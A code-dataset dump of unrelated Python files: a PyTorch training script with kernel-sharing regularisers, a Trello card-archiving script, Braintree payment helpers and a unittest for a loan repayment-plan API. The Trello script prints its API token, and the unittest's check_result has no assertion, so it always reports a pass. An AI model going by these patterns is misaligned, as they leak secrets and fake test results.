opt.warmup_epoch)\n train_info += '\\n==> Epoch: {}, lr = {}'.format(\n epoch, optimizer.param_groups[0][\"lr\"])\n print(train_info)\n\n # train for one epoch\n print('===> [ Training ]')\n start_time = time.time()\n acc1_train, acc5_train = train(opt, train_loader,\n epoch=epoch, model=model,\n criterion=criterion, optimizer=optimizer)\n elapsed_time = time.time() - start_time\n train_time += elapsed_time\n print('====> {:.2f} seconds to train this epoch\\n'.format(\n elapsed_time))\n\n start_time = time.time()\n if opt.new:\n if opt.version in ['v2qq', 'v2f', 'v2qqnb']:\n print('==> {}bit Quantization...'.format(opt.quant_bit))\n quantize(model, opt, opt.quant_bit)\n if arch_name in hasPWConvArchs:\n quantize(model, opt, opt.quant_bit, is_pw=True)\n if epoch < opt.warmup_epoch:\n pass\n elif (epoch-opt.warmup_epoch+1) % opt.save_epoch == 0: # every 'opt.save_epoch' epochs\n print('===> Change kernels using {}'.format(opt.version))\n indices = find_similar_kernel_n_change(opt, model, opt.version)\n if opt.chk_save:\n print('====> Save index and kernel for analysis')\n save_index_n_kernel(opt, arch_name, epoch, model, indices, n_retrain)\n else:\n if opt.quant:\n print('==> {}bit Quantization...'.format(opt.quant_bit))\n quantize(model, opt, opt.quant_bit)\n if arch_name in hasPWConvArchs:\n print('==> {}bit pwconv Quantization...'.format(opt.quant_bit))\n quantize(model, opt, opt.quant_bit, is_pw=True)\n elapsed_time = time.time() - start_time\n extra_time += elapsed_time\n print('====> {:.2f} seconds for extra time this epoch\\n'.format(\n elapsed_time))\n\n # evaluate on validation set\n print('===> [ Validation ]')\n start_time = time.time()\n acc1_valid, acc5_valid = validate(opt, val_loader, epoch, model, criterion)\n elapsed_time = time.time() - start_time\n validate_time += elapsed_time\n print('====> {:.2f} seconds to validate this epoch\\n'.format(\n elapsed_time))\n\n acc1_train = round(acc1_train.item(), 4)\n acc5_train = round(acc5_train.item(), 4)\n acc1_valid = round(acc1_valid.item(), 4)\n acc5_valid = round(acc5_valid.item(), 4)\n\n # remember best Acc@1 and save checkpoint and summary csv file\n state = {'epoch': epoch + 1,\n 'model': model.state_dict(),\n 'optimizer': optimizer.state_dict(),\n 'n_retrain': n_retrain}\n summary = [epoch, acc1_train, acc5_train, acc1_valid, acc5_valid]\n\n if not opt.new:\n state['new'] = False\n state['version'] = ''\n state['idx'] = []\n is_best = acc1_valid > best_acc1\n best_acc1 = max(acc1_valid, best_acc1)\n save_model(arch_name, state, epoch, is_best, opt, n_retrain)\n save_summary(arch_name, summary, opt, n_retrain)\n else:\n if epoch < opt.warmup_epoch:\n pass\n elif (epoch-opt.warmup_epoch+1) % opt.save_epoch == 0: # every 'opt.save_epoch' epochs\n state['new'] = True\n state['version'] = opt.version\n state['idx'] = indices\n is_best = acc1_valid > best_acc1\n best_acc1 = max(acc1_valid, best_acc1)\n save_model(arch_name, state, epoch, is_best, opt, n_retrain)\n save_summary(arch_name, summary, opt, n_retrain)\n\n # calculate time \n avg_train_time = train_time / (opt.epochs - start_epoch)\n avg_valid_time = validate_time / (opt.epochs - start_epoch)\n avg_extra_time = extra_time / (opt.epochs - start_epoch)\n total_train_time = train_time + validate_time + extra_time\n print('====> average training time each epoch: {:,}m {:.2f}s'.format(\n int(avg_train_time//60), avg_train_time%60))\n print('====> average validation time each epoch: {:,}m {:.2f}s'.format(\n int(avg_valid_time//60), avg_valid_time%60))\n print('====> average extra time each epoch: {:,}m {:.2f}s'.format(\n int(avg_extra_time//60), avg_extra_time%60))\n print('====> training time: {}h {}m {:.2f}s'.format(\n int(train_time//3600), int((train_time%3600)//60), train_time%60))\n print('====> validation time: {}h {}m {:.2f}s'.format(\n int(validate_time//3600), int((validate_time%3600)//60), validate_time%60))\n print('====> extra time: {}h {}m {:.2f}s'.format(\n int(extra_time//3600), int((extra_time%3600)//60), extra_time%60))\n print('====> total training time: {}h {}m {:.2f}s'.format(\n int(total_train_time//3600), int((total_train_time%3600)//60), total_train_time%60))\n\n return best_acc1\n\n\ndef train(opt, train_loader, **kwargs):\n r\"\"\"Train model each epoch\n \"\"\"\n epoch = kwargs.get('epoch')\n model = kwargs.get('model')\n criterion = kwargs.get('criterion')\n optimizer = kwargs.get('optimizer')\n\n batch_time = AverageMeter('Time', ':6.3f')\n data_time = AverageMeter('Data', ':6.3f')\n losses = AverageMeter('Loss', ':.4e')\n top1 = AverageMeter('Acc@1', ':6.2f')\n top5 = AverageMeter('Acc@5', ':6.2f')\n progress = ProgressMeter(len(train_loader), batch_time, data_time,\n losses, top1, top5, prefix=\"Epoch: [{}]\".format(epoch))\n\n # switch to train mode\n model.train()\n\n end = time.time()\n for i, (input, target) in enumerate(train_loader):\n # measure data loading time\n data_time.update(time.time() - end)\n\n if opt.cuda:\n target = target.cuda(non_blocking=True)\n\n # compute output\n output = model(input)\n loss = criterion(output, target)\n # option 1) add total variation loss\n if opt.tv_loss:\n regularizer = new_regularizer(opt, model, 'tv')\n loss += regularizer\n # option 2) add orthogonal loss\n if opt.ortho_loss:\n regularizer = new_regularizer(opt, model, 'ortho')\n loss += regularizer\n # option 3) add correlation loss\n if opt.cor_loss:\n regularizer = new_regularizer(opt, model, 'cor')\n loss += regularizer\n # option 4) add orthogonal-correlation loss\n if opt.ortho_cor_loss:\n regularizer = new_regularizer(opt, model, 'ortho-cor')\n loss += regularizer\n # option 5) add group-correlation loss\n if opt.groupcor_loss:\n regularizer = new_regularizer(opt, model, 'groupcor')\n loss += regularizer\n\n # measure accuracy and record loss\n acc1, acc5 = accuracy(output, target, topk=(1, 5))\n losses.update(loss.item(), input.size(0))\n top1.update(acc1[0], input.size(0))\n top5.update(acc5[0], input.size(0))\n\n # compute gradient and do SGD step\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n # measure elapsed time\n batch_time.update(time.time() - end)\n\n if i % opt.print_freq == 0:\n progress.print(i)\n\n end = time.time()\n\n print('====> Acc@1 {top1.avg:.3f} Acc@5 {top5.avg:.3f}'\n .format(top1=top1, top5=top5))\n\n # logging at sacred\n ex.log_scalar('train.loss', losses.avg, epoch)\n ex.log_scalar('train.top1', top1.avg.item(), epoch)\n ex.log_scalar('train.top5', top5.avg.item(), epoch)\n\n return top1.avg, top5.avg\n\n\ndef validate(opt, val_loader, epoch, model, criterion):\n r\"\"\"Validate model each epoch and evaluation\n \"\"\"\n batch_time = AverageMeter('Time', ':6.3f')\n losses = AverageMeter('Loss', ':.4e')\n top1 = AverageMeter('Acc@1', ':6.2f')\n top5 = AverageMeter('Acc@5', ':6.2f')\n progress = ProgressMeter(len(val_loader), batch_time, losses, top1, top5,\n prefix='Test: ')\n\n # switch to evaluate mode\n model.eval()\n\n with torch.no_grad():\n end = time.time()\n for i, (input, target) in enumerate(val_loader):\n if opt.cuda:\n target = target.cuda(non_blocking=True)\n\n # compute output\n output = model(input)\n loss = criterion(output, target)\n\n # measure accuracy and record loss\n acc1, acc5 = accuracy(output, target, topk=(1, 5))\n losses.update(loss.item(), input.size(0))\n top1.update(acc1[0], input.size(0))\n top5.update(acc5[0], input.size(0))\n\n # measure elapsed time\n batch_time.update(time.time() - end)\n\n if i % opt.print_freq == 0:\n progress.print(i)\n\n end = time.time()\n\n print('====> Acc@1 {top1.avg:.3f} Acc@5 {top5.avg:.3f}'\n .format(top1=top1, top5=top5))\n\n # logging at sacred\n ex.log_scalar('test.loss', losses.avg, epoch)\n ex.log_scalar('test.top1', top1.avg.item(), epoch)\n ex.log_scalar('test.top5', top5.avg.item(), epoch)\n\n return top1.avg, top5.avg\n\n\ndef new_regularizer(opt, model, regularizer_name='tv'):\n r\"\"\"Add new regularizer\n\n Arguments\n ---------\n regularizer_name (str): name of regularizer\n - 'tv': total variation loss (https://towardsdatascience.com/pytorch-implementation-of-perceptual-losses-for-real-time-style-transfer-8d608e2e9902)\n - 'cor': correlation loss\n \"\"\"\n regularizer = 0.0\n # get all convolution weights and reshape\n layer_lengths = []\n if opt.arch in hasDWConvArchs:\n try:\n num_layer = model.module.get_num_dwconv_layer()\n conv_all = model.module.get_layer_dwconv(0).weight\n except:\n num_layer = model.get_num_dwconv_layer()\n conv_all = model.get_layer_dwconv(0).weight\n conv_all = conv_all.view(len(conv_all), -1)\n layer_lengths.append(len(conv_all))\n for i in range(1, num_layer):\n try:\n conv_cur = model.module.get_layer_dwconv(i).weight\n except:\n conv_cur = model.get_layer_dwconv(i).weight\n conv_cur = conv_cur.view(len(conv_cur), -1)\n conv_all = torch.cat((conv_all, conv_cur), 0)\n layer_lengths.append(len(conv_cur))\n else:\n try:\n num_layer = model.module.get_num_conv_layer()\n conv_all = model.module.get_layer_conv(0).weight.view(-1, 9)\n except:\n num_layer = model.get_num_conv_layer()\n conv_all = model.get_layer_conv(0).weight.view(-1, 9)\n layer_lengths.append(len(conv_all))\n for i in range(1, num_layer):\n try:\n conv_cur = model.module.get_layer_conv(i).weight.view(-1, 9)\n except:\n conv_cur = model.get_layer_conv(i).weight.view(-1, 9)\n conv_all = torch.cat((conv_all, conv_cur), 0)\n layer_lengths.append(len(conv_cur))\n if arch_name in hasPWConvArchs:\n pw_layer_lengths = []\n try:\n num_pwlayer = model.module.get_num_pwconv_layer()\n pwconv_all = model.module.get_layer_pwconv(0).weight\n except:\n num_pwlayer = model.get_num_pwconv_layer()\n pwconv_all = model.get_layer_pwconv(0).weight\n pwconv_all = pwconv_all.view(-1, opt.pw_bind_size)\n pw_layer_lengths.append(len(pwconv_all))\n for i in range(1, num_pwlayer):\n try:\n pwconv_cur = model.module.get_layer_pwconv(i).weight\n except:\n pwconv_cur = model.get_layer_pwconv(i).weight\n pwconv_cur = pwconv_cur.view(-1, opt.pw_bind_size)\n pwconv_all = torch.cat((pwconv_all, pwconv_cur), 0)\n pw_layer_lengths.append(len(pwconv_cur))\n\n if regularizer_name == 'tv':\n regularizer = torch.sum(torch.abs(conv_all[:, :-1] - conv_all[:, 1:])) + torch.sum(torch.abs(conv_all[:-1, :] - conv_all[1:, :]))\n if arch_name in hasPWConvArchs:\n regularizer += torch.sum(torch.abs(pwconv_all[:, :-1] - pwconv_all[:, 1:])) + torch.sum(torch.abs(pwconv_all[:-1, :] - pwconv_all[1:, :]))\n regularizer = opt.tvls * regularizer\n elif regularizer_name == 'ortho':\n regularizer = 0.0\n cur_start = 0\n for i in range(num_layer):\n cur_length = layer_lengths[i]\n cur_conv = conv_all[cur_start:cur_start+cur_length]\n cur_start += cur_length\n\n mat_ortho = torch.matmul(cur_conv, cur_conv.T)\n mat_identity = torch.eye(mat_ortho.size()[0]).cuda() if opt.cuda else torch.eye(mat_ortho.size()[0])\n regularizer += torch.mean((mat_ortho - mat_identity) ** 2)\n #TODO: pointwise convolution 부분도 코딩하기\n # if arch_name in hasPWConvArchs:\n # pass\n regularizer = opt.orthols * regularizer\n elif regularizer_name == 'cor':\n ref_length = layer_lengths[opt.refnum]\n ref_layer = conv_all[:ref_length]\n ref_mean = ref_layer.mean(dim=1, keepdim=True)\n ref_norm = ref_layer - ref_mean\n ref_norm_sq = (ref_norm * ref_norm).sum(dim=1)\n ref_norm_sq_rt = torch.sqrt(ref_norm_sq)\n\n sum_max_abs_pcc = 0\n num_max_abs_pcc = 0\n cur_start = ref_length\n for i in range(1, num_layer):\n cur_length = layer_lengths[i]\n cur_conv = conv_all[cur_start:cur_start+cur_length]\n cur_start += cur_length\n\n cur_mean = cur_conv.mean(dim=1, keepdim=True)\n cur_norm = cur_conv - cur_mean\n cur_norm_sq_rt = torch.sqrt((cur_norm * cur_norm).sum(dim=1))\n\n for j in range(cur_length):\n numer = torch.matmul(cur_norm[j], ref_norm.T)\n denom = ref_norm_sq_rt * cur_norm_sq_rt[j]\n pcc = numer / denom\n pcc[pcc.ne(pcc)] = 0.0 # if pcc is nan, set pcc to 0.0\n abs_pcc = torch.abs(pcc)\n k = abs_pcc.argmax().item()\n sum_max_abs_pcc += abs_pcc[k]\n num_max_abs_pcc += 1\n #TODO: pointwise convolution 부분도 코딩하기\n # if arch_name in hasPWConvArchs:\n # pass\n regularizer = opt.corls * num_max_abs_pcc / sum_max_abs_pcc\n elif regularizer_name == 'ortho-cor':\n ref_length = layer_lengths[opt.refnum]\n ref_layer = conv_all[:ref_length]\n ref_mean = ref_layer.mean(dim=1, keepdim=True)\n ref_norm = ref_layer - ref_mean\n ref_norm_sq = (ref_norm * ref_norm).sum(dim=1)\n ref_norm_sq_rt = torch.sqrt(ref_norm_sq)\n\n cur_start = 0\n ortho_regularizer = 0.0\n sum_max_abs_pcc = 0\n num_max_abs_pcc = 0\n for i in range(num_layer):\n cur_length = layer_lengths[i]\n cur_conv = conv_all[cur_start:cur_start+cur_length]\n cur_start += cur_length\n\n mat_ortho = torch.matmul(cur_conv, cur_conv.T)\n mat_identity = torch.eye(mat_ortho.size()[0]).cuda() if opt.cuda else torch.eye(mat_ortho.size()[0])\n ortho_regularizer += torch.mean((mat_ortho - mat_identity) ** 2)\n\n if i > 0:\n cur_mean = cur_conv.mean(dim=1, keepdim=True)\n cur_norm = cur_conv - cur_mean\n cur_norm_sq_rt = torch.sqrt((cur_norm * cur_norm).sum(dim=1))\n for j in range(cur_length):\n numer = torch.matmul(cur_norm[j], ref_norm.T)\n denom = ref_norm_sq_rt * cur_norm_sq_rt[j]\n pcc = numer / denom\n pcc[pcc.ne(pcc)] = 0.0 # if pcc is nan, set pcc to 0.0\n abs_pcc = torch.abs(pcc)\n k = abs_pcc.argmax().item()\n sum_max_abs_pcc += abs_pcc[k]\n num_max_abs_pcc += 1\n cor_regularizer = sum_max_abs_pcc / num_max_abs_pcc\n regularizer = opt.orthocorls * (ortho_regularizer / cor_regularizer)\n #TODO: pointwise convolution 부분도 코딩하기\n # if arch_name in hasPWConvArchs:\n # pass\n elif regularizer_name == 'groupcor':\n ref_length = layer_lengths[opt.refnum]\n ref_layer = conv_all[:ref_length]\n ref_mean = ref_layer.mean(dim=1, keepdim=True)\n ref_norm = ref_layer - ref_mean\n ref_norm_sq = (ref_norm * ref_norm).sum(dim=1)\n ref_norm_sq_rt = torch.sqrt(ref_norm_sq)\n ref_group_size = 3 * opt.groupcor_num # ResNet만 가능하게 짜놔서 바꿔야됨..\n\n sum_max_abs_pcc = 0\n num_max_abs_pcc = 0\n cur_start = ref_length\n for i in range(1, num_layer):\n cur_length = layer_lengths[i]\n cur_conv = conv_all[cur_start:cur_start+cur_length]\n cur_start += cur_length\n\n cur_mean = cur_conv.mean(dim=1, keepdim=True)\n cur_norm = cur_conv - cur_mean\n cur_norm_sq_rt = torch.sqrt((cur_norm * cur_norm).sum(dim=1))\n\n grouped_ref_start = 0\n cur_group_size = (cur_length*opt.groupcor_num)//16\n for j in range(cur_length):\n numer = torch.matmul(cur_norm[j], ref_norm[grouped_ref_start:grouped_ref_start+ref_group_size].T)\n denom = ref_norm_sq_rt[grouped_ref_start:grouped_ref_start+ref_group_size] * cur_norm_sq_rt[j]\n pcc = numer / denom\n pcc[pcc.ne(pcc)] = 0.0 # if pcc is nan, set pcc to 0.0\n abs_pcc = torch.abs(pcc)\n k = abs_pcc.argmax().item()\n sum_max_abs_pcc += abs_pcc[k]\n num_max_abs_pcc += 1\n # ResNet만 가능하게 짜놔서 바꿔야됨..\n if (j+1)%cur_group_size == 0:\n grouped_ref_start += ref_group_size\n #TODO: pointwise convolution 부분도 코딩하기\n # if arch_name in hasPWConvArchs:\n # pass\n regularizer = opt.groupcorls * num_max_abs_pcc / sum_max_abs_pcc\n else:\n regularizer = 0.0\n raise NotImplementedError\n\n return regularizer\n\n\n#TODO: v2f k fix하고 alpha beta 찾는 방법 코딩\ndef find_similar_kernel_n_change(opt, model, version):\n r\"\"\"Find the most similar kernel and change the kernel\n\n Arguments\n ---------\n version (str): version name of new method\n \"\"\"\n indices = find_kernel(model, opt)\n if arch_name in hasPWConvArchs:\n indices_pw = find_kernel_pw(model, opt)\n\n if version in ['v2q', 'v2qq', 'v2f']:\n print('====> {}/{}bit Quantization for alpha/beta...'.format(opt.quant_bit_a, opt.quant_bit_b))\n quantize_ab(indices, num_bits_a=opt.quant_bit_a, num_bits_b=opt.quant_bit_b)\n elif version in ['v2qnb', 'v2qqnb']:\n print('====> {}bit Quantization for alpha...'.format(opt.quant_bit_a))\n quantize_ab(indices, num_bits_a=opt.quant_bit_a)\n if arch_name in hasPWConvArchs:\n if version in ['v2q', 'v2qq', 'v2f']:\n print('====> {}/{}bit Quantization for alpha/beta in pwconv...'.format(opt.quant_bit_a, opt.quant_bit_b))\n quantize_ab(indices_pw, num_bits_a=opt.quant_bit_a, num_bits_b=opt.quant_bit_b)\n elif version in ['v2qnb', 'v2qqnb']:\n print('====> {}bit Quantization for alpha in pwconv...'.format(opt.quant_bit_a))\n quantize_ab(indices_pw, num_bits_a=opt.quant_bit_a)\n indices = (indices, indices_pw)\n\n # change idx to kernel\n print('===> Change indices to weights..')\n idxtoweight(opt, model, indices, version)\n\n return indices\n\n\ndef idxtoweight(opt, model, indices_all, version):\n r\"\"\"Change indices to weights\n\n Arguments\n ---------\n indices_all (list): all indices with index of the most similar kernel, $\\alpha$ and $\\beta$\n version (str): version name of new method\n \"\"\"\n w_kernel = get_kernel(model, opt)\n num_layer = len(w_kernel)\n if arch_name in hasPWConvArchs:\n w_pwkernel = get_kernel(model, opt, is_pw=True)\n num_pwlayer = len(w_pwkernel)\n\n if arch_name in hasPWConvArchs:\n indices, indices_pw = indices_all\n else:\n indices = indices_all\n\n ref_layer = w_kernel[opt.refnum]\n if version.find('v2') != -1:\n if opt.ustv2 == 'sigmoid':\n ref_layer = 1/(1 + np.exp(-ref_layer))\n elif opt.ustv2 == 'tanh':\n ref_layer = np.tanh(ref_layer)\n for i in tqdm(range(1, num_layer), ncols=80, unit='layer'):\n for j in range(len(w_kernel[i])):\n for k in range(len(w_kernel[i][j])):\n if version in ['v2nb', 'v2qnb', 'v2qqnb']:\n ref_idx, alpha = indices[i-1][j*len(w_kernel[i][j])+k]\n v = ref_idx // len(ref_layer[0])\n w = ref_idx % len(ref_layer[0])\n w_kernel[i][j][k] = alpha * ref_layer[v][w]\n else:\n ref_idx, alpha, beta = indices[i-1][j*len(w_kernel[i][j])+k]\n v = ref_idx // len(ref_layer[0])\n w = ref_idx % len(ref_layer[0])\n w_kernel[i][j][k] = alpha * ref_layer[v][w] + beta\n elif version == 'v1':\n for i in tqdm(range(1, num_layer), ncols=80, unit='layer'):\n for j in range(len(w_kernel[i])):\n for k in range(len(w_kernel[i][j])):\n ref_idx = indices[i-1][j*len(w_kernel[i][j])+k]\n v = ref_idx // len(ref_layer[0])\n w = ref_idx % len(ref_layer[0])\n w_kernel[i][j][k] = ref_layer[v][w]\n\n if arch_name in hasPWConvArchs:\n #TODO: v1 부분 코딩\n if version.find('v2') != -1:\n pwd = opt.pw_bind_size\n pws = opt.pwkernel_stride\n ref_layer = torch.Tensor(w_pwkernel[opt.refnum])\n ref_layer = ref_layer.view(ref_layer.size(0), ref_layer.size(1))\n ref_layer_slices = None\n num_slices = (ref_layer.size(1) - pwd) // pws + 1\n for i in range(0, ref_layer.size(1) - pwd + 1, pws):\n if ref_layer_slices == None:\n ref_layer_slices = ref_layer[:,i:i+pwd]\n else:\n ref_layer_slices = torch.cat((ref_layer_slices, ref_layer[:,i:i+pwd]), dim=1)\n if ((ref_layer.size(1) - pwd) % pws) != 0:\n ref_layer_slices = torch.cat((ref_layer_slices, ref_layer[:, -pwd:]), dim=1)\n num_slices += 1\n ref_layer_slices = ref_layer_slices.view(ref_layer.size(0)*num_slices, pwd)\n ref_layer_slices = ref_layer_slices.view(-1, pwd, 1, 1).numpy()\n for i in tqdm(range(1, num_pwlayer), ncols=80, unit='layer'):\n for j in range(len(w_pwkernel[i])):\n num_slices = len(w_pwkernel[i][j])//pwd\n for k in range(num_slices):\n if version in ['v2nb', 'v2qnb', 'v2qqnb']:\n ref_idx, alpha = indices_pw[i-1][j*num_slices+k]\n w_pwkernel[i][j][k*pwd:(k+1)*pwd] = alpha * ref_layer_slices[ref_idx]\n else:\n ref_idx, alpha, beta = indices_pw[i-1][j*num_slices+k]\n w_pwkernel[i][j][k*pwd:(k+1)*pwd] = alpha * ref_layer_slices[ref_idx] + beta\n\n set_kernel(w_kernel, model, opt)\n if arch_name in hasPWConvArchs:\n set_kernel(w_pwkernel, model, opt, is_pw=True)\n\n\nif __name__ == '__main__':\n start_time = time.time()\n ex.run()\n elapsed_time = time.time() - start_time\n print('====> total time: {}h {}m {:.2f}s'.format(\n int(elapsed_time//3600), int((elapsed_time%3600)//60), elapsed_time%60))\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":31802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"431629817","text":"#!/usr/bin/env python3.6\n\nimport os\nimport yaml\nimport requests\n\ntrello = None\nwith open('{}/.trello.yml'.format(os.path.expanduser('~'))) as tokenfile:\n trello = yaml.load(tokenfile)\n\nprint(trello)\n\nresponse = requests.get('https://api.trello.com/1/lists/{}?fields=name&cards=open&card_fields=name&key={}&token={}'.format(trello['listid'], trello['application_key'], trello['token']))\n\nresponse.raise_for_status()\n\ncards = response.json()['cards']\nyoutube_cards = [card for card in cards if 'youtube' in card['name'].lower() and card['name'].lower().startswith('http')]\n\ndef archive_card(card_id):\n response = requests.put('https://api.trello.com/1/cards/{}/closed?value=true&key={}&token={}'.format(card_id, trello['application_key'], trello['token']))\n response.raise_for_status()\n\nfor card in youtube_cards:\n print(card)\n archive_card(card['id'])\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"394836702","text":"import braintree\n\n\ndef create_customer(customer, postal_code, cc_number, cvv, exp_month, exp_year):\n \"\"\"\n\n :param customer:\n :param address:\n :param cc_number:\n :param cvv:\n :param exp_month:\n :param exp_year:\n :return:\n \"\"\"\n result = braintree.Customer.create({\n 'first_name': customer.user.first_name,\n 'last_name': customer.user.last_name,\n 'credit_card': {\n 'billing_address': {\n 'postal_code': postal_code,\n },\n 'number': str(cc_number),\n 'cvv': str(cvv),\n 'expiration_month': str(exp_month),\n 'expiration_year': str(exp_year),\n }\n })\n if result.is_success:\n return result.customer.id\n else:\n raise Exception(result.message)\n\n\ndef retrieve_customer(customer):\n \"\"\"\n\n :param customer:\n :return:\n \"\"\"\n try:\n customer_id = customer.braintree_id\n customer = braintree.Customer.find(customer_id)\n return customer\n except Exception as e:\n raise\n\n\ndef retrieve_credit_cards(customer):\n \"\"\"\n\n :param customer:\n :return:\n \"\"\"\n customer = retrieve_customer(customer)\n credit_cards = customer.credit_cards\n cc_info = []\n for card in credit_cards:\n cc_info.append({\n 'last_4': card.last_4,\n 'type': str(card.CardType),\n 'token': card.token,\n 'exp_date': card.expiration_date,\n })\n return cc_info\n","sub_path":"utils/brain_tree/customer.py","file_name":"customer.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"575877747","text":"# -*- coding:utf-8 -*-\n\nfrom utils.baseLog import MyLog\nfrom utils.baseHttp import ConfigHttp\nfrom utils.baseUtils import *\nimport unittest\nimport paramunittest\nfrom utils.baseDB import ConfigDB\nimport datetime\n\n#向上非6%\ninterfaceNo = \"向上非6%\"\nname = \"获取还款计划接口\"\n\nreq = ConfigHttp()\nsqldb = ConfigDB()\n# 根据接口类型判断应该写入哪个sheet页\nif interfaceNo == \"向上非6%\":\n\tsetmonthlv = \"monthRateB\"\n\tsetplan = \"向上非6%-还款计划\"\n\t# 算法方式,向上非6%\n\tinterestType = \"AC10124\"\n\t# 算法编码\n\tcooperate = \"XS\"\nelse:\n\tcooperate = \"XQ\"\n@paramunittest.parametrized(*get_xls(\"interfaces.xls\", interfaceNo))\nclass test_noexperiment(unittest.TestCase):\n\tdef setParameters(self, No, 测试结果, 请求报文, 返回报文, 产品名称, 期数,月还款金额, 合同金额, 原放款金额, 服务费,\n\t\t\t\t\t 信用保证金, 向上平台服务费, 到手金额, 实际到手金额,抵用金额,开始抵用期数,保费):\n\t\tself.No = str(No)\n\t\tself.prodName = str(产品名称)\n\t\tself.period = str(期数)\n\t\tself.monthAmount = str(月还款金额)\n\t\tself.approveMoney = str(合同金额)\n\t\tself.oldloanAmount = str(原放款金额)\n\t\tself.serviceFee = str(服务费)\n\t\tself.lenderGuaranteeFund = str(信用保证金)\n\t\tself.xxserviceFee = str(向上平台服务费)\n\t\tself.dsAmount = str(到手金额)\n\t\tself.loanAmount = str(实际到手金额)\n\t\tself.dyAmount = str(抵用金额)\n\t\tself.dyPeriod = str(开始抵用期数)\n\t\tself.insuranceFee = str(保费)\n\n\tdef setUp(self):\n\t\tself.log = MyLog.get_log()\n\t\tself.logger = self.log.logger\n\t\tself.log.build_start_line(interfaceNo + name + \"CASE \" + self.No)\n\t\tprint(interfaceNo + name + \"CASE \" + self.No)\n\n\tdef test_body(self):\n\t\tself.url = \"/masterdata/api/contract/repaymentPlan/search/v1\"\n\t\theaders = {\"Content-Type\": \"application/json\"}\n\t\t# 获取当前时间\n\t\tnow = datetime.datetime.now()\n\t\t# 请求\n\t\tself.loanDate = now.strftime('%Y-%m-%d %H:%M:%S')\n\t\t# 获取月服务费率接口中的monthlyOverallRate\n\t\t#综合费率\n\t\tself.monthlyOverallRate = get_excel(\"monthlyOverallRate\", self.No, setmonthlv)\n\t\t# 月利率\n\t\tself.interestRate = get_excel(\"interestRate\", self.No, setmonthlv)\n\t\t# 贷款期数\n\t\tself.period = get_excel(\"period\", self.No, setmonthlv)\n\t\t# 审批金额\n\t\tself.approveMoney = get_excel(\"approveMoney\", self.No, setmonthlv)\n\t\t# 月利率\n\t\tself.monthRate = get_excel(\"monthRate\", self.No, setmonthlv)\n\t\tself.data = {\n\t\t\t\t\"monthRate\": self.monthRate,\n\t\t\t\t\"monthlyOverallRate\":self.monthlyOverallRate,\n\t\t\t\t\"opSystem\": \"S001\",\n\t\t\t\t\"costCode\": \"F001\",#费用编码\n\t\t\t\t\"urgentRate\": \"0\",#加急费率\n\t\t\t\t\"interestRate\": self.interestRate,\n\t\t\t\t\"period\": self.period,\n\t\t\t\t\"interestType\": interestType,\n\t\t\t\t\"cooperate\": cooperate,\n\t\t\t\t\"approveMoney\": self.approveMoney,\n\t\t\t\t\"loanDateCalculation\": \"A10116\", #还款日计算方式\n\t\t\t\t\"loanDate\": self.loanDate,\n\t\t\t\t\"insuranceRate\": \"0\" #保险费率\n\t\t\t}\n\t\tprint(self.data)\n\t\treq.httpname = \"MDJC3\"\n\t\treq.set_url(self.url)\n\t\treq.set_headers(headers)\n\t\treq.set_data(self.data)\n\t\tself.response = req.post()\n\t\ttry:\n\t\t\tprint(self.response)\n\t\t\t# 返回报文\n\t\t\tself.responsebody = self.response[\"responseBody\"]\n\t\t\t# 合同金额\n\t\t\tself.approveMoney = self.responsebody[\"approveMoney\"]\n\t\t\t#服务费==合同金额*月服务费率*期限-月还\n\t\t\tself.serviceFee = self.responsebody[\"serviceFee\"]\n\t\t\t# 向上平台服务费\n\t\t\tself.xxserviceFee = self.responsebody[\"serviceFee\"]\n\t\t\t# 实际到手金额(扣保费)=到手金额-保费\n\t\t\tself.loanAmount = self.responsebody[\"loanAmount\"]\n\t\t\t# 抵用金额\n\t\t\tself.dyAmount = self.responsebody[\"dyAmount\"]\n\t\t\t# 开始抵用期数\n\t\t\tself.dyPeriod = self.responsebody[\"dyPeriod\"]\n\t\t\t# 还款计划列表\n\t\t\tself.plans = self.responsebody[\"plans\"]\n\t\texcept Exception:\n\t\t\tself.logger.error(\"报文返回为空!\")\n\t\t\tprint(\"报文返回为空!\")\n\n\t\tself.check_result()\n\t\tself.wr_excel()\n\n\tdef check_result(self):\n\t\ttry:\n\t\t\tself.logger.info(\"测试通过\")\n\t\texcept AssertionError:\n\t\t\tset_excel(\"fail\", \"测试结果\", self.No, interfaceNo)\n\t\t\terrorDesc = self.response[\"errorDesc\"]\n\t\t\tself.logger.error(\"测试失败:\"+errorDesc)\n\t# 写入xls文件中\n\tdef wr_excel(self):\n\t\tself.prodName = get_excel(\"prodName\", self.No, setmonthlv)\n\t\tset_excel(self.prodName, \"产品名称\", self.No, interfaceNo)\n\t\tset_excel(self.period, \"期数\", self.No, interfaceNo)\n\t\tset_excel(self.approveMoney, \"合同金额\", self.No, interfaceNo)\n\t\tset_excel(self.serviceFee, \"服务费\", self.No, interfaceNo)\n\t\tset_excel(self.xxserviceFee, \"向上平台服务费\", self.No, interfaceNo)\n\t\tset_excel(self.loanAmount, \"实际到手金额\", self.No, interfaceNo)\n\t\tset_excel(self.dyAmount, \"抵用金额\", self.No, interfaceNo)\n\t\tset_excel(self.dyPeriod, \"开始抵用期数\", self.No, interfaceNo)\n\n\t\t#还款计划大于0时\n\t\tif len(self.plans)>0:\n\t\t\t#循环得到每一个还款计划信息\n\t\t\tfor i in range(len(self.plans)):\n\t\t\t\t#期数\n\t\t\t\tpersiod = i+1\n\t\t\t\t#应还日期\n\t\t\t\trepaymentDate = self.plans[i][\"repaymentDate\"]\n\t\t\t\t#月还本金\n\t\t\t\tprincipalMoney = self.plans[i][\"principalMoney\"]\n\t\t\t\t#月还利息\n\t\t\t\tperiodInterestMoney = self.plans[i][\"periodInterestMoney\"]\n\t\t\t\t#月还款额\n\t\t\t\tself.periodMoney = self.plans[i][\"periodMoney\"]\n\t\t\t\t#借款余额\n\t\t\t\tsurplusMoney = self.plans[i][\"surplusMoney\"]\n\t\t\t\t#提前结清退还服务费\n\t\t\t\trefundServiceFee = self.plans[i][\"refundServiceFee\"]\n\t\t\t\t#提前还款应还款总额\n\t\t\t\trefundTotal = 